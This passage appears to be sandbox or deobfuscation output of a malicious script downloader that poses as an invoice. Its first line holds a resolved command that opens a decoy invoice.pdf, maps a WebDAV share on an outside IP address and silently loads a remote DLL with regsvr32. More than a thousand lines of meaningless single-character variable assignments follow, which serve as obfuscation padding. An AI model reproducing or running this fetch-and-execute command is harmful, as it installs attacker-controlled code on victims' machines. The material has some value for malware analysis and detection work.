%temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll",0,false) ➔ 0
14	}
15	htkducqs = "C";
16	htkducqs = "b";
17	htkducqs = "h";
18	htkducqs = "Q";
19	htkducqs = "h";
20	htkducqs = "J";
21	htkducqs = "A";
22	htkducqs = "L";
23	htkducqs = "N";
24	htkducqs = "t";
25	htkducqs = "w";
26	htkducqs = "R";
27	htkducqs = "W";
28	htkducqs = "K";
29	htkducqs = "I";
30	htkducqs = "j";
31	fhkke = "y";
32	fhkke = "b";
33	fhkke = "S";
34	fhkke = "f";
35	fhkke = "Q";
36	fhkke = "D";
37	fhkke = "-";
38	eapzcdnma = "I";
39	eapzcdnma = "h";
40	eapzcdnma = "M";
41	eapzcdnma = "q";
42	eapzcdnma = "y";
43	eapzcdnma = "L";
44	eapzcdnma = "M";
45	eapzcdnma = "E";
46	flnxtvyb = "F";
47	flnxtvyb = "H";
48	flnxtvyb = "u";
49	flnxtvyb = "B";
50	flnxtvyb = "d";
51	flnxtvyb = "V";
52	flnxtvyb = "f";
53	flnxtvyb = "q";
54	flnxtvyb = "q";
55	flnxtvyb = "C";
56	flnxtvyb = "D";
57	flnxtvyb = "h";
58	flnxtvyb = "\"";
59	krrypsiqv = "C";
60	krrypsiqv = "d";
61	krrypsiqv = "p";
62	krrypsiqv = "k";
63	krrypsiqv = "y";
64	krrypsiqv = "g";
65	krrypsiqv = "J";
66	krrypsiqv = "g";
67	krrypsiqv = "K";
68	krrypsiqv = "S";
69	krrypsiqv = "X";
70	krrypsiqv = "b";
71	krrypsiqv = "v";
72	krrypsiqv = "e";
73	krrypsiqv = "H";
74	krrypsiqv = "V";
75	krrypsiqv = "Y";
76	nfkzp = "W";
77	kjiwcbty = "q";
78	kjiwcbty = "i";
79	kjiwcbty = "x";
80	kjiwcbty = "X";
81	kjiwcbty = "i";
82	kjiwcbty = "8";
83	sznyau = "C";
84	sznyau = "d";
85	sznyau = "a";
86	sznyau = "J";
87	sznyau = "s";
88	sznyau = "x";
89	sznyau = "H";
90	sznyau = "p";
91	sznyau = "i";
92	sznyau = "@";
93	nroisk = "D";
94	nroisk = "X";
95	nroisk = "w";
96	nroisk = "n";
97	nroisk = "B";
98	nroisk = "j";
99	nroisk = "n";
100	nroisk = "D";
101	nroisk = "Z";
102	nroisk = "H";
103	nroisk = "s";
104	nroisk = "R";
105	nroisk = "B";
106	nroisk = "n";
107	nroisk = "V";
108	nroisk = "Y";
109	nroisk = "y";
110	nroisk = "f";
111	nroisk = "q";
112	nroisk = "y";
113	nroisk = "N";
114	nroisk = "Z";
115	nroisk = "E";
116	nroisk = "r";
117	nroisk = "e";
118	nroisk = "I";
119	nroisk = "B";
120	nroisk = "Y";
121	nroisk = "w";
122	nroisk = "U";
123	nroisk = "O";
124	nroisk = "j";
125	nroisk = "p";
126	nroisk = "R";
127	nroisk = "X";
128	nroisk = "k";
129	nroisk = "z";
130	nroisk = "B";
131	nroisk = "z";
132	nroisk = "7";
133	lnibbnz = "a";
134	lnibbnz = "O";
135	lnibbnz = "Q";
136	lnibbnz = "a";
137	lnibbnz = "W";
138	lnibbnz = "l";
139	lnibbnz = "L";
140	lnibbnz = "D";
141	lnibbnz = "T";
142	lnibbnz = "c";
143	lnibbnz = "W";
144	lnibbnz = "b";
145	lnibbnz = "S";
146	lnibbnz = "d";
147	lnibbnz = "d";
148	lnibbnz = "I";
149	lnibbnz = "S";
150	lnibbnz = "n";
151	lnibbnz = "a";
152	lnibbnz = "z";
153	lnibbnz = "k";
154	lnibbnz = "B";
155	lnibbnz = "F";
156	lnibbnz = "Q";
157	lnibbnz = "W";
158	lnibbnz = "B";
159	lnibbnz = "u";
160	lnibbnz = "j";
161	lnibbnz = "c";
162	lnibbnz = "W";
163	lnibbnz = "R";
164	lnibbnz = "O";
165	lnibbnz = "q";
166	lnibbnz = "z";
167	lnibbnz = "U";
168	lnibbnz = "I";
169	lnibbnz = "G";
170	lnibbnz = "D";
171	lnibbnz = "p";
172	lnibbnz = "M";
173	lnibbnz = "N";
174	lnibbnz = "H";
175	lnibbnz = "t";
176	lnibbnz = "L";
177	rnlfd = "Q";
178	rnlfd = "R";
179	rnlfd = "q";
180	rnlfd = "g";
181	rnlfd = "r";
182	rnlfd = "x";
183	rnlfd = "S";
184	rnlfd = "T";
185	rnlfd = "C";
186	rnlfd = "l";
187	rnlfd = "X";
188	rnlfd = "O";
189	rnlfd = "X";
190	rnlfd = "h";
191	rnlfd = "D";
192	rnlfd = "x";
193	rnlfd = "P";
194	rnlfd = "F";
195	rnlfd = "m";
196	rnlfd = "b";
197	rnlfd = "R";
198	rnlfd = "K";
199	rnlfd = "o";
200	grolruqz = "b";
201	grolruqz = "I";
202	grolruqz = "u";
203	grolruqz = "o";
204	grolruqz = "u";
205	grolruqz = "C";
206	grolruqz = "J";
207	grolruqz = "W";
208	grolruqz = "W";
209	grolruqz = "J";
210	grolruqz = "m";
211	grolruqz = "Y";
212	grolruqz = "n";
213	grolruqz = "Z";
214	grolruqz = "R";
215	grolruqz = "a";
216	grolruqz = "g";
217	grolruqz = "B";
218	grolruqz = "I";
219	grolruqz = "m";
220	grolruqz = "O";
221	grolruqz = "c";
222	grolruqz = "y";
223	grolruqz = "y";
224	grolruqz = "Q";
225	grolruqz = "l";
226	grolruqz = "O";
227	grolruqz = "e";
228	gxhqtcdeh = "S";
229	gxhqtcdeh = "t";
230	gxhqtcdeh = "a";
231	gxhqtcdeh = "T";
232	gxhqtcdeh = "U";
233	gxhqtcdeh = "t";
234	gxhqtcdeh = "g";
235	gxhqtcdeh = "V";
236	gxhqtcdeh = "H";
237	gxhqtcdeh = "E";
238	gxhqtcdeh = "Y";
239	gxhqtcdeh = "W";
240	gxhqtcdeh = "E";
241	gxhqtcdeh = "U";
242	gxhqtcdeh = "Y";
243	gxhqtcdeh = "b";
244	gxhqtcdeh = "x";
245	gxhqtcdeh = "W";
246	gxhqtcdeh = "p";
247	gxhqtcdeh = "M";
248	gxhqtcdeh = "V";
249	gxhqtcdeh = "n";
250	gxhqtcdeh = "g";
251	gxhqtcdeh = "A";
252	gxhqtcdeh = "J";
253	gxhqtcdeh = "S";
254	gxhqtcdeh = "r";
255	gxhqtcdeh = "h";
256	gxhqtcdeh = "s";
257	gxhqtcdeh = "V";
258	gxhqtcdeh = "N";
259	gxhqtcdeh = "q";
260	gxhqtcdeh = "B";
261	gxhqtcdeh = "P";
262	gxhqtcdeh = "Z";
263	gxhqtcdeh = "S";
264	gxhqtcdeh = "u";
265	gxhqtcdeh = "U";
266	gxhqtcdeh = "C";
267	gxhqtcdeh = "H";
268	gxhqtcdeh = "e";
269	gxhqtcdeh = "f";
270	cpwaoltqy = "N";
271	cpwaoltqy = "c";
272	cpwaoltqy = "z";
273	cpwaoltqy = "S";
274	cpwaoltqy = "C";
275	cpwaoltqy = "w";
276	cpwaoltqy = "e";
277	cpwaoltqy = "n";
278	cpwaoltqy = "n";
279	cpwaoltqy = "E";
280	cpwaoltqy = "c";
281	cpwaoltqy = "F";
282	cpwaoltqy = "j";
283	cpwaoltqy = "k";
284	cpwaoltqy = "q";
285	muwio = "D";
286	muwio = "Z";
287	muwio = "O";
288	muwio = "e";
289	muwio = "l";
290	muwio = "K";
291	muwio = "D";
292	muwio = "O";
293	muwio = "C";
294	muwio = "b";
295	muwio = "O";
296	muwio = "f";
297	muwio = "z";
298	muwio = "V";
299	muwio = "Z";
300	muwio = "U";
301	ephum = "p";
302	ephum = "Y";
303	ephum = "y";
304	ephum = "b";
305	ephum = "H";
306	ephum = "K";
307	ephum = "h";
308	ephum = "z";
309	ephum = "r";
310	ephum = "j";
311	ephum = "K";
312	ephum = "u";
313	ephum = "C";
314	ephum = "y";
315	ephum = "F";
316	ephum = "Z";
317	ephum = "Y";
318	ephum = "q";
319	ephum = "t";
320	ephum = "x";
321	ephum = "V";
322	ephum = "J";
323	ephum = "v";
324	ephum = "D";
325	ephum = "w";
326	ephum = "U";
327	ephum = "m";
328	ephum = "y";
329	ephum = "E";
330	ephum = "g";
331	ephum = "R";
332	ephum = "g";
333	ephum = "N";
334	ephum = "z";
335	ephum = "f";
336	ephum = "u";
337	ephum = "w";
338	ephum = "q";
339	ephum = "m";
340	ephum = "R";
341	ephum = "h";
342	crlmi = "Y";
343	crlmi = "m";
344	crlmi = "U";
345	crlmi = "N";
346	crlmi = "l";
347	crlmi = "M";
348	crlmi = "K";
349	crlmi = "o";
350	crlmi = "a";
351	crlmi = "d";
352	crlmi = "e";
353	crlmi = "F";
354	crlmi = "g";
355	crlmi = "a";
356	crlmi = "Q";
357	crlmi = "Z";
358	crlmi = "I";
359	crlmi = "f";
360	crlmi = "a";
361	crlmi = "v";
362	crlmi = "c";
363	crlmi = "b";
364	vadur = "t";
365	vadur = "N";
366	vadur = "n";
367	vadur = "B";
368	vadur = "s";
369	vadur = "w";
370	vadur = "V";
371	vadur = "s";
372	vadur = "C";
373	vadur = "E";
374	vadur = "W";
375	vadur = "m";
376	vadur = "x";
377	vadur = "l";
378	vadur = "z";
379	vadur = "s";
380	vadur = "o";
381	vadur = "D";
382	vadur = "q";
383	vadur = "n";
384	vadur = "m";
385	vadur = "K";
386	vadur = "P";
387	vadur = "a";
388	vadur = "f";
389	vadur = "L";
390	vadur = "t";
391	vadur = "j";
392	vadur = "N";
393	vadur = "V";
394	vadur = "L";
395	vadur = "E";
396	vadur = "F";
397	vadur = "P";
398	vadur = "g";
399	vadur = "i";
400	vadur = "H";
401	vadur = "i";
402	vadur = "t";
403	barwod = "d";
404	barwod = "E";
405	barwod = "O";
406	zczppx = "c";
407	zczppx = "V";
408	zczppx = "W";
409	zczppx = "n";
410	zczppx = "N";
411	zczppx = "s";
412	zczppx = "n";
413	zczppx = "N";
414	rkvmlno = "T";
415	rkvmlno = "o";
416	rkvmlno = "x";
417	rkvmlno = "D";
418	rkvmlno = "W";
419	rkvmlno = "m";
420	rkvmlno = "X";
421	rkvmlno = "S";
422	rkvmlno = "L";
423	rkvmlno = "p";
424	rkvmlno = "Q";
425	rkvmlno = "T";
426	rkvmlno = "S";
427	rkvmlno = "x";
428	rkvmlno = "i";
429	rkvmlno = "9";
430	maguq = "d";
431	qjgkrv = "k";
432	qjgkrv = "k";
433	qjgkrv = "T";
434	qjgkrv = "a";
435	qjgkrv = "N";
436	qjgkrv = "e";
437	qjgkrv = "c";
438	koywtoj = "L";
439	koywtoj = "z";
440	koywtoj = "L";
441	koywtoj = "m";
442	koywtoj = "s";
443	koywtoj = "C";
444	koywtoj = "Y";
445	koywtoj = "I";
446	koywtoj = "A";
447	koywtoj = "s";
448	koywtoj = "i";
449	koywtoj = "k";
450	koywtoj = "X";
451	koywtoj = "D";
452	koywtoj = "C";
453	koywtoj = "j";
454	koywtoj = "u";
455	koywtoj = "s";
456	koywtoj = "T";
457	koywtoj = "q";
458	koywtoj = "I";
459	koywtoj = "S";
460	koywtoj = "G";
461	koywtoj = "q";
462	koywtoj = "Q";
463	koywtoj = "f";
464	koywtoj = "m";
465	koywtoj = "U";
466	koywtoj = "V";
467	koywtoj = "W";
468	koywtoj = "T";
469	koywtoj = "U";
470	koywtoj = "O";
471	koywtoj = "O";
472	koywtoj = "Q";
473	koywtoj = "y";
474	koywtoj = "K";
475	qcyfv = "w";
476	qcyfv = "p";
477	qcyfv = "r";
478	qcyfv = "f";
479	qcyfv = "D";
480	qcyfv = "T";
481	qcyfv = "u";
482	qcyfv = "n";
483	qcyfv = "Y";
484	qcyfv = "X";
485	qcyfv = "V";
486	qcyfv = "r";
487	qcyfv = "A";
488	qcyfv = "G";
489	qcyfv = "F";
490	qcyfv = "O";
491	qcyfv = "z";
492	qcyfv = "s";
493	qcyfv = "F";
494	qcyfv = "g";
495	qcyfv = "s";
496	qcyfv = "V";
497	qcyfv = "s";
498	qcyfv = "2";
499	fzrhh = "r";
500	fzrhh = "h";
501	fzrhh = "w";
502	fzrhh = "q";
503	fzrhh = "T";
504	fzrhh = "N";
505	fzrhh = "k";
506	fzrhh = "O";
507	fzrhh = "f";
508	fzrhh = "u";
509	zccsuv = "l";
510	zccsuv = "l";
511	zccsuv = "Q";
512	zccsuv = "n";
513	zccsuv = "f";
514	zccsuv = "D";
515	zccsuv = "N";
516	zccsuv = "G";
517	zccsuv = "Y";
518	zccsuv = "Y";
519	zccsuv = "b";
520	zccsuv = "Q";
521	zccsuv = "K";
522	zccsuv = "J";
523	zccsuv = "E";
524	zccsuv = "D";
525	zccsuv = "I";
526	zccsuv = "N";
527	zccsuv = "F";
528	zccsuv = "P";
529	zccsuv = "k";
530	zccsuv = "v";
531	zccsuv = "U";
532	zccsuv = "r";
533	zccsuv = "g";
534	zccsuv = "r";
535	zccsuv = "l";
536	zccsuv = "p";
537	zccsuv = "m";
538	zccsuv = "L";
539	zccsuv = "K";
540	zccsuv = "Q";
541	zccsuv = "a";
542	agxtz = "X";
543	agxtz = "u";
544	agxtz = "y";
545	agxtz = "m";
546	agxtz = "U";
547	agxtz = "s";
548	agxtz = "a";
549	agxtz = "R";
550	agxtz = "Q";
551	agxtz = "A";
552	agxtz = "i";
553	drvtzuebp = "Z";
554	drvtzuebp = "M";
555	drvtzuebp = "K";
556	drvtzuebp = "s";
557	drvtzuebp = "S";
558	drvtzuebp = "H";
559	drvtzuebp = "f";
560	drvtzuebp = "E";
561	drvtzuebp = "d";
562	drvtzuebp = "p";
563	drvtzuebp = "k";
564	drvtzuebp = "c";
565	drvtzuebp = "h";
566	drvtzuebp = "S";
567	drvtzuebp = "K";
568	drvtzuebp = "p";
569	drvtzuebp = "y";
570	drvtzuebp = "A";
571	drvtzuebp = "K";
572	drvtzuebp = "v";
573	drvtzuebp = "G";
574	drvtzuebp = "Q";
575	drvtzuebp = "K";
576	drvtzuebp = "u";
577	drvtzuebp = "b";
578	drvtzuebp = "O";
579	drvtzuebp = "p";
580	drvtzuebp = "a";
581	drvtzuebp = "J";
582	drvtzuebp = "l";
583	drvtzuebp = "o";
584	drvtzuebp = "F";
585	drvtzuebp = "t";
586	drvtzuebp = "T";
587	drvtzuebp = "d";
588	drvtzuebp = "I";
589	drvtzuebp = "i";
590	drvtzuebp = "v";
591	rtdzos = "a";
592	rtdzos = "m";
593	rtdzos = "H";
594	pbxlkmxn = "M";
595	pbxlkmxn = "c";
596	pbxlkmxn = "c";
597	pbxlkmxn = "c";
598	pbxlkmxn = "w";
599	pbxlkmxn = "E";
600	pbxlkmxn = "j";
601	pbxlkmxn = "z";
602	pbxlkmxn = "m";
603	pbxlkmxn = "g";
604	pbxlkmxn = "u";
605	pbxlkmxn = "R";
606	pbxlkmxn = "q";
607	pbxlkmxn = "N";
608	pbxlkmxn = "Q";
609	pbxlkmxn = "R";
610	pbxlkmxn = "L";
611	pbxlkmxn = "D";
612	pbxlkmxn = "k";
613	pbxlkmxn = "S";
614	pbxlkmxn = "y";
615	pbxlkmxn = "s";
616	pbxlkmxn = "P";
617	pbxlkmxn = "s";
618	pbxlkmxn = "N";
619	pbxlkmxn = "o";
620	pbxlkmxn = "H";
621	pbxlkmxn = "K";
622	pbxlkmxn = "o";
623	pbxlkmxn = "e";
624	pbxlkmxn = "S";
625	pbxlkmxn = "a";
626	pbxlkmxn = "j";
627	pbxlkmxn = "f";
628	pbxlkmxn = "O";
629	pbxlkmxn = "I";
630	pbxlkmxn = "P";
631	whbbem = "I";
632	whbbem = "Y";
633	whbbem = "v";
634	whbbem = "e";
635	whbbem = "a";
636	whbbem = "O";
637	whbbem = "d";
638	whbbem = "J";
639	whbbem = "P";
640	whbbem = "d";
641	whbbem = "Y";
642	whbbem = "r";
643	whbbem = "w";
644	whbbem = "h";
645	whbbem = "J";
646	whbbem = "X";
647	whbbem = "Z";
648	whbbem = "E";
649	whbbem = "b";
650	whbbem = "o";
651	whbbem = "p";
652	whbbem = "M";
653	whbbem = "S";
654	whbbem = "k";
655	whbbem = "F";
656	whbbem = "g";
657	qzhbzxnz = "J";
658	qzhbzxnz = "I";
659	qzhbzxnz = "P";
660	qzhbzxnz = "J";
661	qzhbzxnz = "S";
662	qzhbzxnz = "d";
663	qzhbzxnz = "p";
664	qzhbzxnz = "f";
665	qzhbzxnz = "f";
666	qzhbzxnz = "h";
667	qzhbzxnz = "x";
668	qzhbzxnz = "k";
669	qzhbzxnz = "r";
670	qzhbzxnz = "d";
671	qzhbzxnz = "B";
672	qzhbzxnz = "U";
673	qzhbzxnz = "l";
674	qzhbzxnz = "Y";
675	qzhbzxnz = " ";
676	gmetopgeo = "x";
677	gmetopgeo = "B";
678	gmetopgeo = "C";
679	gmetopgeo = "b";
680	gmetopgeo = "Z";
681	gmetopgeo = "V";
682	gmetopgeo = "f";
683	gmetopgeo = "c";
684	gmetopgeo = "d";
685	gmetopgeo = "k";
686	gmetopgeo = "a";
687	gmetopgeo = "F";
688	gmetopgeo = "M";
689	gmetopgeo = "d";
690	gmetopgeo = "X";
691	gmetopgeo = "p";
692	gmetopgeo = "Y";
693	gmetopgeo = "j";
694	gmetopgeo = "x";
695	gmetopgeo = "j";
696	gmetopgeo = "K";
697	gmetopgeo = "B";
698	gmetopgeo = "Z";
699	gmetopgeo = "C";
700	gmetopgeo = "G";
701	gmetopgeo = "E";
702	gmetopgeo = "C";
703	gmetopgeo = "e";
704	gmetopgeo = "l";
705	gmetopgeo = "v";
706	gmetopgeo = "O";
707	gmetopgeo = "B";
708	gmetopgeo = "X";
709	gmetopgeo = "c";
710	gmetopgeo = "1";
711	qxxjq = "K";
712	qxxjq = "u";
713	qxxjq = "p";
714	qxxjq = "a";
715	qxxjq = "P";
716	qxxjq = "p";
717	qxxjq = "c";
718	qxxjq = "p";
719	qxxjq = "w";
720	qxxjq = "m";
721	qxxjq = "H";
722	qxxjq = "g";
723	qxxjq = "Y";
724	qxxjq = "q";
725	qxxjq = "V";
726	qxxjq = "f";
727	qxxjq = "C";
728	qxxjq = "k";
729	qxxjq = "T";
730	qxxjq = "C";
731	qxxjq = "0";
732	gvjywon = "J";
733	gvjywon = "M";
734	gvjywon = "m";
735	gvjywon = "L";
736	gvjywon = "L";
737	gvjywon = "H";
738	gvjywon = "X";
739	gvjywon = "n";
740	gvjywon = "H";
741	gvjywon = "L";
742	gvjywon = "k";
743	gvjywon = "G";
744	gvjywon = "Y";
745	gvjywon = "D";
746	gvjywon = "q";
747	gvjywon = "K";
748	gvjywon = "H";
749	gvjywon = "m";
750	gvjywon = "f";
751	gvjywon = "h";
752	gvjywon = "h";
753	gvjywon = "l";
754	gvjywon = "m";
755	gvjywon = "A";
756	gvjywon = "v";
757	gvjywon = "c";
758	gvjywon = "M";
759	gvjywon = "X";
760	gvjywon = "s";
761	gvjywon = "J";
762	gvjywon = "D";
763	gvjywon = "p";
764	gvjywon = "e";
765	gvjywon = "c";
766	gvjywon = "P";
767	gvjywon = "U";
768	gvjywon = "O";
769	gvjywon = "R";
770	gvjywon = "M";
771	gvjywon = "o";
772	gvjywon = "v";
773	gvjywon = "k";
774	gvjywon = "f";
775	gvjywon = "k";
776	gvjywon = "R";
777	gkjiizxq = "Q";
778	gkjiizxq = "g";
779	gkjiizxq = "s";
780	gkjiizxq = "V";
781	gkjiizxq = "q";
782	gkjiizxq = "i";
783	gkjiizxq = "W";
784	gkjiizxq = "b";
785	gkjiizxq = "x";
786	gkjiizxq = "q";
787	gkjiizxq = "B";
788	gkjiizxq = "c";
789	gkjiizxq = "d";
790	gkjiizxq = "w";
791	gkjiizxq = "l";
792	gkjiizxq = "g";
793	gkjiizxq = "G";
794	gkjiizxq = "j";
795	gkjiizxq = "q";
796	gkjiizxq = "D";
797	gkjiizxq = "e";
798	gkjiizxq = "/";
799	trjge = "I";
800	trjge = "u";
801	trjge = "P";
802	trjge = "r";
803	trjge = "s";
804	trjge = "R";
805	trjge = "Z";
806	trjge = "w";
807	trjge = "k";
808	trjge = "e";
809	trjge = "b";
810	trjge = "M";
811	trjge = "z";
812	trjge = "r";
813	trjge = "d";
814	trjge = "W";
815	trjge = "V";
816	trjge = "P";
817	trjge = "c";
818	trjge = "W";
819	trjge = "p";
820	trjge = "x";
821	trjge = "h";
822	trjge = "&";
823	xoshzr = "F";
824	xoshzr = "x";
825	xoshzr = "Z";
826	xoshzr = "n";
827	xoshzr = "h";
828	xoshzr = "z";
829	xoshzr = "d";
830	xoshzr = "f";
831	xoshzr = "E";
832	xoshzr = "j";
833	xoshzr = "N";
834	xoshzr = "i";
835	xoshzr = "C";
836	xoshzr = "X";
837	xoshzr = "u";
838	xoshzr = "U";
839	xoshzr = "B";
840	xoshzr = "o";
841	xoshzr = "l";
842	xoshzr = "a";
843	xoshzr = "O";
844	xoshzr = "L";
845	xoshzr = "y";
846	xoshzr = "T";
847	xoshzr = "N";
848	xoshzr = "V";
849	xoshzr = "E";
850	xoshzr = "C";
851	xoshzr = "Q";
852	xoshzr = "g";
853	xoshzr = "l";
854	xoshzr = "b";
855	xoshzr = "W";
856	xoshzr = "b";
857	xoshzr = "_";
858	wzsqf = "s";
859	wzsqf = "T";
860	wzsqf = "h";
861	wzsqf = "H";
862	wzsqf = "u";
863	wzsqf = "S";
864	ajtbodn = "l";
865	ajtbodn = "I";
866	ajtbodn = "o";
867	ajtbodn = "N";
868	ajtbodn = "z";
869	ajtbodn = "j";
870	ajtbodn = "Y";
871	ajtbodn = "f";
872	ajtbodn = "R";
873	ajtbodn = "F";
874	ajtbodn = "e";
875	ajtbodn = "o";
876	ajtbodn = "4";
877	uufdc = "X";
878	uufdc = "g";
879	uufdc = "I";
880	uufdc = "g";
881	uufdc = "b";
882	uufdc = "A";
883	uufdc = "i";
884	uufdc = "y";
885	uufdc = "k";
886	uufdc = "h";
887	uufdc = "S";
888	uufdc = "j";
889	uufdc = "l";
890	uufdc = "t";
891	uufdc = "V";
892	uufdc = "j";
893	uufdc = "x";
894	uufdc = "l";
895	uufdc = "X";
896	uufdc = "j";
897	uufdc = "B";
898	uufdc = "g";
899	uufdc = "C";
900	uufdc = "J";
901	uufdc = "X";
902	uufdc = "a";
903	uufdc = "E";
904	uufdc = "O";
905	uufdc = "T";
906	uufdc = "N";
907	uufdc = "s";
908	uufdc = ".";
909	fruluzk = "S";
910	fruluzk = "S";
911	fruluzk = "f";
912	fruluzk = "y";
913	fruluzk = "E";
914	fruluzk = "N";
915	fruluzk = "X";
916	fruluzk = "P";
917	fruluzk = "K";
918	fruluzk = "z";
919	fruluzk = "Q";
920	fruluzk = "i";
921	fruluzk = "a";
922	fruluzk = "o";
923	fruluzk = "h";
924	fruluzk = "D";
925	fruluzk = "F";
926	fruluzk = "a";
927	fruluzk = "u";
928	fruluzk = "t";
929	fruluzk = "E";
930	fruluzk = "q";
931	fruluzk = "k";
932	fruluzk = "G";
933	fruluzk = "X";
934	fruluzk = "r";
935	fruluzk = "y";
936	fruluzk = "z";
937	fruluzk = "T";
938	pvfsh = "T";
939	pvfsh = "B";
940	pvfsh = "t";
941	pvfsh = "b";
942	pvfsh = "s";
943	pvfsh = "w";
944	pvfsh = "r";
945	pvfsh = "P";
946	pvfsh = "M";
947	pvfsh = "k";
948	pvfsh = "s";
949	pvfsh = "s";
950	pvfsh = "C";
951	pvfsh = "M";
952	pvfsh = "p";
953	pvfsh = "R";
954	pvfsh = "e";
955	pvfsh = "p";
956	pvfsh = "n";
957	pvfsh = "O";
958	pvfsh = "l";
959	pvfsh = "p";
960	pvfsh = "l";
961	pvfsh = "K";
962	pvfsh = "Y";
963	pvfsh = "d";
964	pvfsh = "A";
965	pvfsh = "b";
966	pvfsh = "C";
967	pvfsh = "W";
968	pvfsh = "f";
969	pvfsh = "A";
970	pvfsh = "M";
971	pvfsh = "6";
972	dnpdtkw = "E";
973	dnpdtkw = "E";
974	dnpdtkw = "Z";
975	dnpdtkw = "M";
976	dnpdtkw = "t";
977	dnpdtkw = "i";
978	dnpdtkw = "Z";
979	dnpdtkw = "k";
980	dnpdtkw = "J";
981	dnpdtkw = "R";
982	dnpdtkw = "W";
983	dnpdtkw = "H";
984	dnpdtkw = "a";
985	dnpdtkw = "p";
986	dnpdtkw = "U";
987	dnpdtkw = "v";
988	dnpdtkw = "K";
989	dnpdtkw = "K";
990	dnpdtkw = "p";
991	dnpdtkw = "e";
992	dnpdtkw = "t";
993	dnpdtkw = "B";
994	dnpdtkw = "X";
995	dnpdtkw = "G";
996	dnpdtkw = "w";
997	dnpdtkw = "Z";
998	dnpdtkw = "z";
999	dnpdtkw = "F";
1000	dnpdtkw = "u";
1001	dnpdtkw = "v";
1002	dnpdtkw = "m";
1003	dnpdtkw = "U";
1004	dnpdtkw = "t";
1005	dnpdtkw = "K";
1006	dnpdtkw = "p";
1007	dnpdtkw = "l";
1008	dnpdtkw = "f";
1009	dnpdtkw = "l";
1010	dnpdtkw = "v";
1011	dnpdtkw = "n";
1012	dnpdtkw = "S";
1013	dnpdtkw = "w";
1014	pyviwdofk = "e";
1015	pyviwdofk = "Z";
1016	pyviwdofk = "Y";
1017	pyviwdofk = "l";
1018	pyviwdofk = "S";
1019	pyviwdofk = "e";
1020	pyviwdofk = "Z";
1021	pyviwdofk = "E";
1022	pyviwdofk = "t";
1023	pyviwdofk = "t";
1024	pyviwdofk = "i";
1025	pyviwdofk = "R";
1026	pyviwdofk = "D";
1027	pyviwdofk = "v";
1028	pyviwdofk = "u";
1029	pyviwdofk = "P";
1030	pyviwdofk = "y";
1031	pyviwdofk = "i";
1032	pyviwdofk = "A";
1033	pyviwdofk = "N";
1034	pyviwdofk = "m";
1035	pyviwdofk = "o";
1036	pyviwdofk = "p";
1037	pyviwdofk = "P";
1038	pyviwdofk = "y";
1039	pyviwdofk = "k";
1040	pyviwdofk = "t";
1041	pyviwdofk = "l";
1042	pyviwdofk = "J";
1043	pyviwdofk = "h";
1044	pyviwdofk = "M";
1045	pyviwdofk = "q";
1046	pyviwdofk = "E";
1047	pyviwdofk = "b";
1048	pyviwdofk = "j";
1049	pyviwdofk = "Z";
1050	pyviwdofk = "k";
1051	pyviwdofk = "f";
1052	pyviwdofk = "w";
1053	pyviwdofk = "u";
1054	pyviwdofk = "m";
1055	xxoeri = "Y";
1056	xxoeri = "d";
1057	xxoeri = "R";
1058	xxoeri = "t";
1059	xxoeri = "E";
1060	xxoeri = "r";
1061	xxoeri = "E";
1062	xxoeri = "T";
1063	xxoeri = "p";
1064	xxoeri = "z";
1065	xxoeri = "v";
1066	xxoeri = "K";
1067	xxoeri = "x";
1068	ouhopu = "L";
1069	ouhopu = "K";
1070	ouhopu = "v";
1071	ouhopu = "i";
1072	ouhopu = "\\";
1073	hkcdkvkhs = "i";
1074	hkcdkvkhs = "J";
1075	hkcdkvkhs = "%";
1076	ithfg = "K";
1077	ithfg = "Q";
1078	ithfg = "F";
1079	ithfg = "R";
1080	ithfg = "v";
1081	ithfg = "x";
1082	ithfg = "B";
1083	ithfg = "z";
1084	ithfg = "t";
1085	ithfg = "N";
1086	ithfg = "H";
1087	ithfg = "J";
1088	ithfg = "o";
1089	ithfg = "E";
1090	ithfg = "d";
1091	ithfg = "a";
1092	ithfg = "p";
1093	ithfg = "l";
1094	ithfg = "F";
1095	ithfg = "Z";
1096	ithfg = "B";
1097	ithfg = "E";
1098	ithfg = "e";
1099	ithfg = "O";
1100	ithfg = "n";
1101	ithfg = "E";
1102	ithfg = "c";
1103	ithfg = "k";
1104	ithfg = "a";
1105	ithfg = "K";
1106	ithfg = "j";
1107	ithfg = "K";
1108	ithfg = "Q";
1109	dqxga = "Z";
1110	dqxga = "j";
1111	dqxga = "T";
1112	dqxga = "q";
1113	dqxga = "W";
1114	dqxga = "H";
1115	dqxga = "L";
1116	dqxga = "J";
1117	dqxga = "W";
1118	dqxga = "p";
1119	dqxga = "s";
1120	dqxga = "A";
1121	dqxga = "o";
1122	dqxga = "W";
1123	dqxga = "d";
1124	dqxga = "E";
1125	dqxga = "y";
1126	dqxga = "c";
1127	dqxga = "I";
1128	dqxga = "h";
1129	dqxga = "Z";
1130	dqxga = "C";
1131	dqxga = "x";
1132	dqxga = "b";
1133	dqxga = "c";
1134	dqxga = "K";
1135	dqxga = "C";
1136	dqxga = "F";
1137	dqxga = "E";
1138	dqxga = "s";
1139	dqxga = "F";
1140	dqxga = "b";
1141	dqxga = "J";
1142	dqxga = "U";
1143	dqxga = "P";
1144	dqxga = "N";
1145	dqxga = "C";
1146	dqxga = "p";
1147	dqxga = "y";
1148	dqxga = "H";
1149	dqxga = "n";
1150	zvoszy = "c";
1151	zvoszy = "z";
1152	zvoszy = "a";
1153	zvoszy = "t";
1154	zvoszy = "E";
1155	zvoszy = "r";
1156	semjlwrf = "v";
1157	semjlwrf = "a";
1158	semjlwrf = "J";
1159	semjlwrf = "g";
1160	semjlwrf = "B";
1161	semjlwrf = "y";
1162	semjlwrf = "i";
1163	semjlwrf = "e";
1164	semjlwrf = "u";
1165	semjlwrf = "d";
1166	semjlwrf = "L";
1167	semjlwrf = "j";
1168	semjlwrf = "P";
1169	semjlwrf = "k";
1170	semjlwrf = "Q";
1171	semjlwrf = "f";
1172	semjlwrf = "A";
1173	semjlwrf = "Z";
1174	semjlwrf = "e";
1175	semjlwrf = "V";
1176	semjlwrf = "l";
1177	semjlwrf = "m";
1178	semjlwrf = "w";
1179	semjlwrf = "G";
1180	semjlwrf = "Z";
1181	semjlwrf = "F";
1182	cvvzw = "f";
1183	cvvzw = "I";
1184	cvvzw = "W";
1185	cvvzw = "K";
1186	cvvzw = "G";
1187	cvvzw = "H";
1188	cvvzw = "M";
1189	cvvzw = "p";
1190	dsnckrhzk = "J";
1191	dsnckrhzk = "F";
1192	dsnckrhzk = "u";
1193	dsnckrhzk = "H";
